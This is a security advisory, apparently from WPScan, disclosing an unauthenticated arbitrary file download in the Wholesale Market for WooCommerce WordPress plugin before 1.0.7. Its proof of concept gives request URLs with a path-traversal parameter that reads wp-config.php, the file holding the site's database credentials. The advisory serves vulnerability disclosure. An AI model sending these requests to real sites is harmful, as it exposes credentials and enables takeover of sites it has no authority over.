WordPress Plugin Vulnerabilities
Wholesale Market for WooCommerce < 1.0.7 - Unauthenticated Arbitrary File Download
Description
The plugin does not have authorisation check, as well as does not validate user input used to generate system path, allowing unauthenticated attackers to download arbitrary file from the server.
Note: v1.0.7 added capability check, making the issue still exploitable by high privilege users such as admin (which would be an issue in multisite)
Proof of Concept
v 1.0.6 If the wholesale_market_import_error folder does not exist, issue is still exploitable as any authenticated user (same URLs as for v < 1.0.6) If the folder already exist, exploitable as unauthenticated: https://example.com/wp-admin/admin-post.php?action=ced_cwsm_csv_import_export_module_download_error_log&tab=ced_cwsm_plugin§ion=ced_cwsm_csv_import_export_module&ced_cwsm_log_download=../../../wp-config.php v < 1.0.6 (as unauthenticated): First call https://example.com/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_read_csv which will create the log directory Then call http://example.com/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_download_error_log&tab=ced_cwsm_plugin§ion=ced_cwsm_csv_import_export_module&ced_cwsm_log_download=../../../wp-config.php to download the wp-config.php
Affects Plugins
References
CVE
Classification
Type
FILE DOWNLOAD
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
WPScan
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-11-28 (about 1 years ago)
Added
2022-11-28 (about 1 years ago)
Last Updated
2022-11-28 (about 1 years ago)